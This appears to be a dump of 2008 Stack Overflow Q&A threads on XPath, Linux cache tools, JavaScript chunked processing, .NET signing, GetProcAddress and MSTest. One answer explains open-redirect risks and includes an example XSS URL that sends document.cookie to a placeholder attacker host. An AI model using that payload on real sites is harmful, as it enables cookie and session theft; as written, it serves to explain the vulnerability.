"text": "<p>This LINQ to XML query should get close to what you are after:</p>\n\n<p><pre><code>\nXElement xml = new XElement(\"contacts\",\n new XElement(\"contact\",\n new XAttribute(\"contactId\", \"\"),\n new XElement(\"firstName\", \"\"),\n new XElement(\"lastName\", \"\"),\n new XElement(\"Address\",\n new XElement(\"Street\", \"\"))\n ),</p>\n\n<p>new XElement(\"contact\",\n new XAttribute(\"contactId\", \"\"),\n new XElement(\"firstName\", \"\"),\n new XElement(\"lastName\", \"\")\n )\n );</p>\n\n<p>var query = from c in xml.Elements()\n where c.Value != \"\"\n select c;</p>\n\n<p>Console.WriteLine(xml);\nConsole.WriteLine(query.Count());</p>\n\n<p></pre></code></p>\n\n<p>When the count of the query == 0 you have no elements with content.</p>\n\n<p>Depending on what you are after and if you have no other uses for LINQ style manipulation, the xPath solution posted may well be a better fit.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210787",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28773/"
] |
I have a xml which is max 3 levels deep. Now by using C# or Xpath what the best method to check the whether all the child nodes under a parent node are empty.
Thanks in Advance.
|
Given a sample document of:
```
<foo>
<bar>
<baz/>
<baz>Hello, world!</baz>
<baz><qux/></baz>
</bar>
</foo>
```
This expression tells you which children of `foo/bar` have any child elements:
```
foo/bar/*[count(*)>0]
```
This expression tells you which children of `foo/bar` have any child text nodes:
```
foo/bar/*[text()]
```
So to ensure that all children are empty (no child elements or text nodes), ensure that this expression returns true:
```
not(foo/bar/*[count(*)>0 or text()])
```
|
210,809 |
<p>Essentially my question is, does anyone know of a utility for inspecting the <strong>buffer cache</strong> in linux?</p>
|
[
{
"answer_id": 18398941,
"author": "slm",
"author_id": 33204,
"author_profile": "https://Stackoverflow.com/users/33204",
"pm_score": 4,
"selected": true,
"text": "<p>Take a look at <a href=\"http://code.google.com/p/linux-ftools/\" rel=\"nofollow\">linux-ftools</a>. This suite of tools is specifically designed to analyze the buffers and cache. It includes the following tools:</p>\n\n<ul>\n<li>fincore</li>\n<li>fadvise</li>\n<li>fallocate</li>\n</ul>\n\n<p>Of these 3 tools the one that will show you the list of files in the buffers & cache is <code>fincore</code>.</p>\n\n<pre><code>$ fincore [options] files...\n\n --pages=false Do not print pages\n --summarize When comparing multiple files, print a summary report\n --only-cached Only print stats for files that are actually in cache.\n\nroot@xxxxxx:/var/lib/mysql/blogindex# fincore --pages=false --summarize --only-cached * \nstats for CLUSTER_LOG_2010_05_21.MYI: file size=93840384 , total pages=22910 , cached pages=1 , cached size=4096, cached perc=0.004365 \nstats for CLUSTER_LOG_2010_05_22.MYI: file size=417792 , total pages=102 , cached pages=1 , cached size=4096, cached perc=0.980392 \nstats for CLUSTER_LOG_2010_05_23.MYI: file size=826368 , total pages=201 , cached pages=1 , cached size=4096, cached perc=0.497512 \nstats for CLUSTER_LOG_2010_05_24.MYI: file size=192512 , total pages=47 , cached pages=1 , cached size=4096, cached perc=2.127660 \n...\n</code></pre>\n"
},
{
"answer_id": 26860348,
"author": "Highstaker",
"author_id": 2052138,
"author_profile": "https://Stackoverflow.com/users/2052138",
"pm_score": 2,
"selected": false,
"text": "<p>I'm not entirely sure if you're asking what I think you're asking, but <a href=\"http://hoytech.com/vmtouch/\" rel=\"nofollow\">vmtouch</a> could be helpful to you. Just type <code>vmtouch [file or folder you want to check for presence in cache]</code></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210809",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10747/"
] |
Essentially my question is, does anyone know of a utility for inspecting the **buffer cache** in linux?
|
Take a look at [linux-ftools](http://code.google.com/p/linux-ftools/). This suite of tools is specifically designed to analyze the buffers and cache. It includes the following tools:
* fincore
* fadvise
* fallocate
Of these 3 tools the one that will show you the list of files in the buffers & cache is `fincore`.
```
$ fincore [options] files...
--pages=false Do not print pages
--summarize When comparing multiple files, print a summary report
--only-cached Only print stats for files that are actually in cache.
root@xxxxxx:/var/lib/mysql/blogindex# fincore --pages=false --summarize --only-cached *
stats for CLUSTER_LOG_2010_05_21.MYI: file size=93840384 , total pages=22910 , cached pages=1 , cached size=4096, cached perc=0.004365
stats for CLUSTER_LOG_2010_05_22.MYI: file size=417792 , total pages=102 , cached pages=1 , cached size=4096, cached perc=0.980392
stats for CLUSTER_LOG_2010_05_23.MYI: file size=826368 , total pages=201 , cached pages=1 , cached size=4096, cached perc=0.497512
stats for CLUSTER_LOG_2010_05_24.MYI: file size=192512 , total pages=47 , cached pages=1 , cached size=4096, cached perc=2.127660
...
```
|
210,820 |
<p>I have a webpage that redirects to another webpage like this:</p>
<pre><code>http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html
</code></pre>
<p>Then the Sponsor.php page displays an ad with a link saying "Continue to your page" that links to the passed in RedirectPage. Are there security/spoofing issues that could come from this? What is the best way to handle this? (note that the user is not logged in to either site)</p>
|
[
{
"answer_id": 210878,
"author": "PHLAK",
"author_id": 27025,
"author_profile": "https://Stackoverflow.com/users/27025",
"pm_score": 0,
"selected": false,
"text": "<p>This is definitely a security risk. You should avoid using in-URL variables when security is involved.</p>\n\n<p>While nothing is totally secure, this is a much better way of handling this issue: <a href=\"http://www.webmasterworld.com/forum88/2910.htm\" rel=\"nofollow noreferrer\">http://www.webmasterworld.com/forum88/2910.htm</a></p>\n"
},
{
"answer_id": 210883,
"author": "acrosman",
"author_id": 24215,
"author_profile": "https://Stackoverflow.com/users/24215",
"pm_score": 0,
"selected": false,
"text": "<p>If sponsor.php allows any value into RedirectPage AND ads imply an endorsement, or encourage people to think that they are on the right track you would be opening it to be part of a phishing attack. What's worse, you would probably be profiting from those attacks, which would likely make people rather displeased.</p>\n\n<p>Keeping a list of permitted URLs (or patterns that they can follow) would go a long way to prevent problems.</p>\n"
},
{
"answer_id": 1089103,
"author": "Tom Ritter",
"author_id": 8435,
"author_profile": "https://Stackoverflow.com/users/8435",
"pm_score": 4,
"selected": true,
"text": "<p>It's a big problem. If I send you a link that looks like this:</p>\n\n<pre><code> http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14\n</code></pre>\n\n<p>You're going to think \"Oh, CNN, that's a legit site\", and you'll open it and click the 'Continue to Your Page' link. And then you'll be on one of the nastiest porn sites on the net and it'll have a giant booming male voice announcing to all your co-workers <strong>\"Hot Damn I Want to !@$@#$ Your !(&¤&^$§ until I can't ¡⌐^(!#~~&$^#!@$!!</strong>\" and you'll have to explain to your boss \"I thought it was CNN!\"</p>\n\n<p>The hole here is <em>your reputation</em>. Blind redirects like this are dangerous.</p>\n\n<p>And that's just one hole. How about this?</p>\n\n<pre><code> http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie\n</code></pre>\n\n<p>Now I've XSS-ed your site and stolen your user's cookies. Sure, you say there's no login info, but how about session data? Or when you add a login later, or someone else in your company uses this page a year later where users are logged in.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210820",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3291/"
] |
I have a webpage that redirects to another webpage like this:
```
http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html
```
Then the Sponsor.php page displays an ad with a link saying "Continue to your page" that links to the passed in RedirectPage. Are there security/spoofing issues that could come from this? What is the best way to handle this? (note that the user is not logged in to either site)
|
It's a big problem. If I send you a link that looks like this:
```
http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14
```
You're going to think "Oh, CNN, that's a legit site", and you'll open it and click the 'Continue to Your Page' link. And then you'll be on one of the nastiest porn sites on the net and it'll have a giant booming male voice announcing to all your co-workers **"Hot Damn I Want to !@$@#$ Your !(&¤&^$§ until I can't ¡⌐^(!#~~&$^#!@$!!**" and you'll have to explain to your boss "I thought it was CNN!"
The hole here is *your reputation*. Blind redirects like this are dangerous.
And that's just one hole. How about this?
```
http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie
```
Now I've XSS-ed your site and stolen your user's cookies. Sure, you say there's no login info, but how about session data? Or when you add a login later, or someone else in your company uses this page a year later where users are logged in.
|
210,821 |
<p>I have read the post <a href="http://www.julienlecomte.net/blog/2007/10/28/" rel="noreferrer">here</a> about using setTimeout() during intensive DOM processing (using JavaScript), but how can I integrate this function with the below code? The below code works fine for a small number of options, but when the number of options gets too big my "please wait" animated GIF freezes while the local JavaScript is processing. Thanks!</p>
<pre><code>function appendToSelect() {
$("#mySelect").children().remove() ;
$("#mySelect").html(
'<option selected value="' + obj.data[0].value + '">'
+ obj.data[0].name
+ '</option>'
);
var j = 1 ;
for (var i = 1; i < obj.data.length; i++) {
$("#mySelect").append(
'<option value="' + obj.data[i].value + '">'
+ obj.data[i].name
+ '</option>'
);
}
}
</code></pre>
|
[
{
"answer_id": 210852,
"author": "Geoff",
"author_id": 10427,
"author_profile": "https://Stackoverflow.com/users/10427",
"pm_score": -1,
"selected": false,
"text": "<p>You would need to rewrite the function to cache the element list, then loop over the list using a counter of some sort.</p>\n\n<p>Then when the counter reaches counter % max_num_before_wait == 0, call timeout back to the function itself.</p>\n\n<p>Make sure to clear the cache and counter at the end of the complete list, or use a secondary function with an extra count parameter.</p>\n"
},
{
"answer_id": 210968,
"author": "Borgar",
"author_id": 27388,
"author_profile": "https://Stackoverflow.com/users/27388",
"pm_score": 4,
"selected": false,
"text": "<p>It just so happens that I was posting about this a moment ago <a href=\"https://stackoverflow.com/questions/205631/javascript-loadingbusy-indicator-or-transparent-div-over-page-on-event-click#210931\">here</a>. Here is a timed loop function:</p>\n\n<pre><code>function processLoop( actionFunc, numTimes, doneFunc ) {\n var i = 0;\n var f = function () {\n if (i < numTimes) {\n actionFunc( i++ ); // closure on i\n setTimeout( f, 10 )\n } \n else if (doneFunc) { \n doneFunc();\n }\n };\n f();\n}\n</code></pre>\n\n<p>For your situation this would be used like this:</p>\n\n<pre><code>function appendToSelect () {\n\n $(\"#mySelect\").children().remove() ;\n $(\"#mySelect\").html(\n '<option selected value=\"' + obj.data[0].value + '\">'\n + obj.data[0].name\n + '</option>'\n );\n var j = 1 ;\n\n processLoop(function (i){\n $(\"#mySelect\").append(\n '<option value=\"' + obj.data[i].value + '\">'\n + obj.data[i].name\n + '</option>'\n ); \n }, obj.data.length);\n\n}\n</code></pre>\n\n<p>You'll want to make sure that you have a closure or some other access to the obj variable within the iteration function. </p>\n\n<p>Hope this helps.</p>\n"
},
{
"answer_id": 210994,
"author": "Jason Bunting",
"author_id": 1790,
"author_profile": "https://Stackoverflow.com/users/1790",
"pm_score": 6,
"selected": true,
"text": "<p>Here is a solution:</p>\n\n<pre><code>function appendToSelect() {\n $(\"#mySelect\").children().remove();\n $(\"#mySelect\").html(\n '<option selected value=\"'+obj.data[0].value+'\">'\n + obj.data[0].name\n + '</option>'\n );\n obj.data.splice(0, 1); // we only want remaining data\n var appendOptions = function() {\n var dataChunk = obj.data.splice(0, 10); // configure this last number (the size of the 'chunk') to suit your needs\n for(var i = 0; i < dataChunk.length; i++) {\n $(\"#mySelect\").append(\n '<option value=\"' + dataChunk[i].value + '\">'\n + dataChunk[i].name\n + '</option>'\n );\n }\n if(obj.data.length > 0) {\n setTimeout(appendOptions, 100); // change time to suit needs\n }\n };\n appendOptions(); // kicks it off\n}\n</code></pre>\n\n<p>Not as elegant as <a href=\"https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968\">@Borgar's</a> solution, but you get the idea. Basically, I am doing the same thing, but all in your one function rather than breaking it into a higher-order function like he does. I like his solution, but if you don't, perhaps this will work for you.</p>\n\n<hr>\n\n<p>EDIT: For those that don't immediately see it, one of the main differences between this solution and <a href=\"https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968\">@Borgar's</a> is that this solution allows you to set the size of the 'chunks' of data that is processed between each timeout. <a href=\"https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968\">@Borgar's</a> times-out after <em>every single member</em> of the array is processed. If I get time, I will try to create a higher-order function to handle this so it is more elegant. No promises though! ;)</p>\n\n<hr>\n\n<p>EDIT: So, here is my adaptation of <a href=\"https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968\">@Borgar's</a> solution, which allows for setting a 'chunk' size and configuring the timeout value more easily:</p>\n\n<pre><code>function incrementallyProcess(workerCallback, data, chunkSize, timeout, completionCallback) {\n var itemIndex = 0;\n (function() {\n var remainingDataLength = (data.length - itemIndex);\n var currentChunkSize = (remainingDataLength >= chunkSize) ? chunkSize : remainingDataLength;\n if(itemIndex < data.length) {\n while(currentChunkSize--) {\n workerCallback(data[itemIndex++]);\n }\n setTimeout(arguments.callee, timeout);\n } else if(completionCallback) {\n completionCallback();\n }\n })();\n}\n\nfunction appendToSelect() {\n $(\"#mySelect\").children().remove();\n $(\"#mySelect\").html(\n '<option selected value=\"' + obj.data[0].value + '\">'\n + obj.data[0].name\n + '</option>'\n );\n obj.data.splice(0,1); // we only want remaining data \n incrementallyProcess(function(data) {\n $(\"#mySelect\").append(\n '<option value=\"' + data.value + '\">'\n + data.name\n + '</option>'\n );\n }, obj.data, 10, 100, removeAnimatedGifFunction); // last function not required...\n}\n</code></pre>\n\n<p>Hope that helps - I think this combines the best of both solutions. <strong>Notice</strong>, the second anonymous function no longer uses the index value, but simply passes in the entire object (with the value and name properties); that makes it a bit cleaner, since the index of the current object really isn't <em>usually</em> that useful when iterating over things, IMO.</p>\n\n<p>I am sure there are still things that could be done to make this even better, but that is left as an exercise for the reader. ;)</p>\n"
},
{
"answer_id": 1610043,
"author": "Vincent Robert",
"author_id": 268,
"author_profile": "https://Stackoverflow.com/users/268",
"pm_score": 2,
"selected": false,
"text": "<p>If you need something simpler, I wrote a jQuery plugin to ease writing of asynchronous loops: <a href=\"http://mess.genezys.net/jquery/jquery.async.php\" rel=\"nofollow noreferrer\">jQuery Async</a>.</p>\n\n<p>Using the plugin, your code can be rewritten as:</p>\n\n<pre><code>function appendToSelect() {\n $(\"#mySelect\").children().remove() ;\n $(\"#mySelect\").html(\n '<option selected value=\"' + obj.data[0].value + '\">'\n + obj.data[0].name\n + '</option>'\n );\n\n /////////////////////////////\n var i = 1;\n $.whileAsync({\n test: function(){ i < obj.data.length; }\n loop: function()\n {\n $(\"#mySelect\").append(\n '<option value=\"' + obj.data[i].value + '\">'\n + obj.data[i].name\n + '</option>'\n ); \n i++;\n }\n });\n /////////////////////////////\n}\n</code></pre>\n\n<p>Should help the responsiveness. Tweak the 'bulk' and 'delay' option for more control.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210821",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2755/"
] |
I have read the post [here](http://www.julienlecomte.net/blog/2007/10/28/) about using setTimeout() during intensive DOM processing (using JavaScript), but how can I integrate this function with the below code? The below code works fine for a small number of options, but when the number of options gets too big my "please wait" animated GIF freezes while the local JavaScript is processing. Thanks!
```
function appendToSelect() {
$("#mySelect").children().remove() ;
$("#mySelect").html(
'<option selected value="' + obj.data[0].value + '">'
+ obj.data[0].name
+ '</option>'
);
var j = 1 ;
for (var i = 1; i < obj.data.length; i++) {
$("#mySelect").append(
'<option value="' + obj.data[i].value + '">'
+ obj.data[i].name
+ '</option>'
);
}
}
```
|
Here is a solution:
```
function appendToSelect() {
$("#mySelect").children().remove();
$("#mySelect").html(
'<option selected value="'+obj.data[0].value+'">'
+ obj.data[0].name
+ '</option>'
);
obj.data.splice(0, 1); // we only want remaining data
var appendOptions = function() {
var dataChunk = obj.data.splice(0, 10); // configure this last number (the size of the 'chunk') to suit your needs
for(var i = 0; i < dataChunk.length; i++) {
$("#mySelect").append(
'<option value="' + dataChunk[i].value + '">'
+ dataChunk[i].name
+ '</option>'
);
}
if(obj.data.length > 0) {
setTimeout(appendOptions, 100); // change time to suit needs
}
};
appendOptions(); // kicks it off
}
```
Not as elegant as [@Borgar's](https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968) solution, but you get the idea. Basically, I am doing the same thing, but all in your one function rather than breaking it into a higher-order function like he does. I like his solution, but if you don't, perhaps this will work for you.
---
EDIT: For those that don't immediately see it, one of the main differences between this solution and [@Borgar's](https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968) is that this solution allows you to set the size of the 'chunks' of data that is processed between each timeout. [@Borgar's](https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968) times-out after *every single member* of the array is processed. If I get time, I will try to create a higher-order function to handle this so it is more elegant. No promises though! ;)
---
EDIT: So, here is my adaptation of [@Borgar's](https://stackoverflow.com/questions/210821/giving-brief-control-back-to-the-browser-during-intensive-javascript-processing#210968) solution, which allows for setting a 'chunk' size and configuring the timeout value more easily:
```
function incrementallyProcess(workerCallback, data, chunkSize, timeout, completionCallback) {
var itemIndex = 0;
(function() {
var remainingDataLength = (data.length - itemIndex);
var currentChunkSize = (remainingDataLength >= chunkSize) ? chunkSize : remainingDataLength;
if(itemIndex < data.length) {
while(currentChunkSize--) {
workerCallback(data[itemIndex++]);
}
setTimeout(arguments.callee, timeout);
} else if(completionCallback) {
completionCallback();
}
})();
}
function appendToSelect() {
$("#mySelect").children().remove();
$("#mySelect").html(
'<option selected value="' + obj.data[0].value + '">'
+ obj.data[0].name
+ '</option>'
);
obj.data.splice(0,1); // we only want remaining data
incrementallyProcess(function(data) {
$("#mySelect").append(
'<option value="' + data.value + '">'
+ data.name
+ '</option>'
);
}, obj.data, 10, 100, removeAnimatedGifFunction); // last function not required...
}
```
Hope that helps - I think this combines the best of both solutions. **Notice**, the second anonymous function no longer uses the index value, but simply passes in the entire object (with the value and name properties); that makes it a bit cleaner, since the index of the current object really isn't *usually* that useful when iterating over things, IMO.
I am sure there are still things that could be done to make this even better, but that is left as an exercise for the reader. ;)
|
210,826 |
<p>I have a mobile .NET solution and decided to sign the assemblies.
Compilation completes without errors but gives the warning</p>
<p><strong>'CompactUI.Business.PocketPC.asmmeta, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' is not signed correctly.</strong></p>
<p>The application is working fine but I can't open the designer for forms using this assembly anymore. Again the designer says</p>
<p><strong>'CompactUI.Business.PocketPC.asmmeta, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' is not signed correctly.</strong> </p>
<p>with the stack information: </p>
<p>at Microsoft.CompactFramework.Build.AsmmetaBindingService.GetAsmmetaAssembly(String sourceAssemblyPath, Boolean verify)
at Microsoft.CompactFramework.Build.AsmmetaBindingService.LoadAsmMetaAssembly(Assembly sourceAssembly, String hintPath, IDeviceTypeResolutionService resolver)
at Microsoft.CompactFramework.Build.MetadataService.GetAsmmetaType(Type sourceType)
at Microsoft.CompactFramework.Build.MetadataService.GetTypeAttributes(Type desktopType)
at Microsoft.CompactFramework.Design.DeviceCustomTypeDescriptor.GetAttributes()
...</p>
<p>What is causing this? </p>
<p><strong>Edit: Nicholas suggestion is not solving the problem</strong></p>
<p>I've got a Form that contains common properties which is base for every form in the presentation layer</p>
<pre><code>public class CustomForm : Form
{
...
}
</code></pre>
<p>This form is in the business layer that causes the warning. Every form that inherits from this base form causes the problem when viewing in the designer.</p>
|
[
{
"answer_id": 222801,
"author": "Marcus King",
"author_id": 19840,
"author_profile": "https://Stackoverflow.com/users/19840",
"pm_score": 0,
"selected": false,
"text": "<p>I'm confused, you say that you signed the assmeblies but yet your public key token is null, if you had signed this assmbley then you should specify the public key that is generated instead of null. Maybe I'm not understanding the issue fully. Try removing the reference to CompactUI.Business.PocketPC.asmmeta and re-add the signed version.</p>\n"
},
{
"answer_id": 224328,
"author": "Marcus Griep",
"author_id": 28645,
"author_profile": "https://Stackoverflow.com/users/28645",
"pm_score": 1,
"selected": false,
"text": "<p>Verify that the assembly wasn't generated with \"delay sign\" set. This would cause the assembly to advertise that it was signed, when it only has a <code>null</code> placeholder instead. This will cause strong-name verification to fail. For more information you can also check out this page on MSDN: \"<a href=\"http://msdn.microsoft.com/en-us/library/ms182127.aspx\" rel=\"nofollow noreferrer\">Assemblies should have valid strong names</a>\"</p>\n"
},
{
"answer_id": 225094,
"author": "MysticSlayer",
"author_id": 28139,
"author_profile": "https://Stackoverflow.com/users/28139",
"pm_score": -1,
"selected": false,
"text": "<p>Cause</p>\n\n<p>An assembly is not signed with a strong name, the strong name could not be verified, or the strong name would not be valid without the current registry settings of the computer.\n Rule Description</p>\n\n<p>This rule retrieves and verifies the strong name of an assembly. A violation occurs if any of the following are true:</p>\n\n<pre><code>* The assembly does not have a strong name.\n\n* The assembly was altered after signing.\n\n* The assembly is delay-signed.\n\n* The assembly was incorrectly signed, or signing failed.\n\n* The assembly requires registry settings to pass verification. For example, the Strong Name tool (Sn.exe) was used to skip verification for the assembly.\n</code></pre>\n\n<p>The strong name protects clients from unknowingly loading an assembly that has been tampered with. Assemblies without strong names should not be deployed outside of very limited scenarios. If you share or distribute assemblies that are not correctly signed, the assembly can be tampered with, the common language runtime might not load the assembly, or the user might have to disable verification on his or her computer. An assembly without a strong name suffers from the following drawbacks:</p>\n\n<pre><code>* Its origins cannot be verified.\n\n* The common language runtime cannot warn users if the contents of the assembly have been altered.\n\n* It cannot be loaded into the global assembly cache.\n</code></pre>\n\n<p>Note that to load and analyze a delay-signed assembly, you must disable verification for the assembly.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210826",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14027/"
] |
I have a mobile .NET solution and decided to sign the assemblies.
Compilation completes without errors but gives the warning
**'CompactUI.Business.PocketPC.asmmeta, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' is not signed correctly.**
The application is working fine but I can't open the designer for forms using this assembly anymore. Again the designer says
**'CompactUI.Business.PocketPC.asmmeta, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' is not signed correctly.**
with the stack information:
at Microsoft.CompactFramework.Build.AsmmetaBindingService.GetAsmmetaAssembly(String sourceAssemblyPath, Boolean verify)
at Microsoft.CompactFramework.Build.AsmmetaBindingService.LoadAsmMetaAssembly(Assembly sourceAssembly, String hintPath, IDeviceTypeResolutionService resolver)
at Microsoft.CompactFramework.Build.MetadataService.GetAsmmetaType(Type sourceType)
at Microsoft.CompactFramework.Build.MetadataService.GetTypeAttributes(Type desktopType)
at Microsoft.CompactFramework.Design.DeviceCustomTypeDescriptor.GetAttributes()
...
What is causing this?
**Edit: Nicholas suggestion is not solving the problem**
I've got a Form that contains common properties which is base for every form in the presentation layer
```
public class CustomForm : Form
{
...
}
```
This form is in the business layer that causes the warning. Every form that inherits from this base form causes the problem when viewing in the designer.
|
Verify that the assembly wasn't generated with "delay sign" set. This would cause the assembly to advertise that it was signed, when it only has a `null` placeholder instead. This will cause strong-name verification to fail. For more information you can also check out this page on MSDN: "[Assemblies should have valid strong names](http://msdn.microsoft.com/en-us/library/ms182127.aspx)"
|
210,836 |
<p>In xp 32bit this line compiles with not problem however in vista 64bit this line:</p>
<pre><code>m_FuncAddr = ::GetProcAddress (somthing);
</code></pre>
<p>gives the following error</p>
<blockquote>
<p>error C2440: '=' : cannot convert from
'FARPROC' to 'int (__cdecl *)(void)'</p>
</blockquote>
<p>GetProcAddress is defined as</p>
<pre><code>WINBASEAPI FARPROC WINAPI GetProcAddress (somthing)
</code></pre>
<p>And m_FuncAddr as</p>
<pre><code>int (WINAPI *m_FuncAddr)();
</code></pre>
<p>From what I understand both are stdcall's.</p>
<p>To avoid the error I had to put</p>
<pre><code>m_FuncAddr = (int (__cdecl *)(void))::GetProcAddress(somthing);
</code></pre>
<p>My Question:</p>
<p>If both m_FuncAddr and GetProcAddress have the stdcall calling convention why do I have to 'recall' it with cdecl ?</p>
<p>Is it possible that the VS project setting 'default calling convention (which is set to cdecl) over-rides the assignemet statment above ?</p>
<p>Thanks in advance!</p>
<p>[Edit]</p>
<p>To clerfiy the question:</p>
<p>On one side of the equation (say side 1) i have </p>
<pre><code>int __stdcall * m_FuncAddr
</code></pre>
<p>On other side (side 2)</p>
<pre><code>INT_PTR far __stdcall GetProcAddress
</code></pre>
<p>So how is it that i have to cast side 2 with cdecl if both are stdcalls ?
Or am I not getting something ?</p>
|
[
{
"answer_id": 210857,
"author": "Nick",
"author_id": 26240,
"author_profile": "https://Stackoverflow.com/users/26240",
"pm_score": 2,
"selected": false,
"text": "<p>It's a coincidence that it compiles correctly in 32bit; the correct syntax is:</p>\n\n<pre><code>typedef int (WINAPI *FFuncType)();\nFFuncType m_FuncAddr;\nm_FuncAddr = (FFuncType)::GetProcAddress (somthing);\n</code></pre>\n\n<p>You need to explicitly cast the result of ::GetProcAddress to the proper function signature. In 32bit, FARPROC happens to work with the signature you have, but probably not in 64bit.</p>\n\n<p>Edit: Yes, in fact, looking at windef.h, the return type is INT_PTR in 64bit, so that's why you got the compiler error. You will still need to cast to the function signature as above for any function which does not happen to match the placeholder for FARPROC, though, so you should be doing it as above in general.</p>\n"
},
{
"answer_id": 210864,
"author": "Adam Mitz",
"author_id": 2574,
"author_profile": "https://Stackoverflow.com/users/2574",
"pm_score": 3,
"selected": true,
"text": "<p>The return type should be INT_PTR (a 64-bit value in 64-bit builds). You shouldn't cast around this error -- the compiler is trying to tell you that something is wrong.</p>\n\n<p>From WinDef.h:</p>\n\n<pre><code>#ifdef _WIN64\ntypedef INT_PTR (FAR WINAPI *FARPROC)();\n</code></pre>\n\n<p>So the declaration of m_FuncAddr should be:</p>\n\n<pre><code>INT_PTR (WINAPI *m_FuncAddr)();\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210836",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14587/"
] |
In xp 32bit this line compiles with not problem however in vista 64bit this line:
```
m_FuncAddr = ::GetProcAddress (somthing);
```
gives the following error
>
> error C2440: '=' : cannot convert from
> 'FARPROC' to 'int (\_\_cdecl \*)(void)'
>
>
>
GetProcAddress is defined as
```
WINBASEAPI FARPROC WINAPI GetProcAddress (somthing)
```
And m\_FuncAddr as
```
int (WINAPI *m_FuncAddr)();
```
From what I understand both are stdcall's.
To avoid the error I had to put
```
m_FuncAddr = (int (__cdecl *)(void))::GetProcAddress(somthing);
```
My Question:
If both m\_FuncAddr and GetProcAddress have the stdcall calling convention why do I have to 'recall' it with cdecl ?
Is it possible that the VS project setting 'default calling convention (which is set to cdecl) over-rides the assignemet statment above ?
Thanks in advance!
[Edit]
To clerfiy the question:
On one side of the equation (say side 1) i have
```
int __stdcall * m_FuncAddr
```
On other side (side 2)
```
INT_PTR far __stdcall GetProcAddress
```
So how is it that i have to cast side 2 with cdecl if both are stdcalls ?
Or am I not getting something ?
|
The return type should be INT\_PTR (a 64-bit value in 64-bit builds). You shouldn't cast around this error -- the compiler is trying to tell you that something is wrong.
From WinDef.h:
```
#ifdef _WIN64
typedef INT_PTR (FAR WINAPI *FARPROC)();
```
So the declaration of m\_FuncAddr should be:
```
INT_PTR (WINAPI *m_FuncAddr)();
```
|
210,837 |
<p>How do I share state amongst TestMethods in MSTest. These tests would be run as Ordered Tests and in sequence.</p>
<pre><code> private TestContext testContext;
public TestContext TestContext
{
get { return this.testContext; }
set { this.testContext = value;}
}
[TestMethod]
public void Subscribe()
{
bool subscribed = true;
TestContext.Properties.Add("subscribed", subscribed);
Assert.IsTrue(subscribed == true, string.Format("Subscribed...{0}", this.GetHashCode()));
}
[TestMethod]
public void GenerateEvent()
{
bool subscribed = (bool)TestContext.Properties["subscribed"];
Assert.IsTrue(subscribed == true, string.Format("Subscribed...{0}", this.GetHashCode()));
}
</code></pre>
<p>Thanks in advance.</p>
|
[
{
"answer_id": 210928,
"author": "NotMe",
"author_id": 2424,
"author_profile": "https://Stackoverflow.com/users/2424",
"pm_score": 1,
"selected": false,
"text": "<p>Vyas, I agree with Chad that you're still doing it wrong. </p>\n\n<p>That said, you can look into using the TestContext object.</p>\n\n<p>See <a href=\"http://blogs.msdn.com/vstsqualitytools/archive/2006/01/10/511030.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/vstsqualitytools/archive/2006/01/10/511030.aspx</a></p>\n"
},
{
"answer_id": 216003,
"author": "Vyas Bharghava",
"author_id": 28413,
"author_profile": "https://Stackoverflow.com/users/28413",
"pm_score": 0,
"selected": false,
"text": "<p>As Chad had pointed out, it seems that I have no alternative but to use a single test [For once the tool is forcing me to do the right thing ;)] to test the whole flow.</p>\n\n<p>Seems that I could use TestContext.BeginTimer & EndTimer to time each call in the method.</p>\n\n<p>Here's the link to MSDN Forum where I received this answer</p>\n"
},
{
"answer_id": 403466,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>You can share data between test methods using static members.</p>\n\n<p>For example:</p>\n\n<pre><code>private static List<string> SharedValues = new List<string>();\n\n[TestMethod]\npublic void TestMethod1()\n{\n SharedValues.Add(\"Awesome!\");\n}\n\n[TestMethod]\npublic void TestMethod2()\n{\n SharedValues.Add(\"Thanks for the answer!\");\n}\n\n[TestMethod]\npublic void TestMethod3()\n{\n Assert.IsTrue(SharedValues.Contains(\"Awesome!\"));\n Assert.IsTrue(SharedValues.Contains(\"Thanks for the answer!\"));\n}\n</code></pre>\n\n<p>Copy this code and create a new ordered test, testing TestMethod1,TestMethod2,TestMethod3. It'll pass!</p>\n"
},
{
"answer_id": 7416247,
"author": "Mel",
"author_id": 1763,
"author_profile": "https://Stackoverflow.com/users/1763",
"pm_score": 0,
"selected": false,
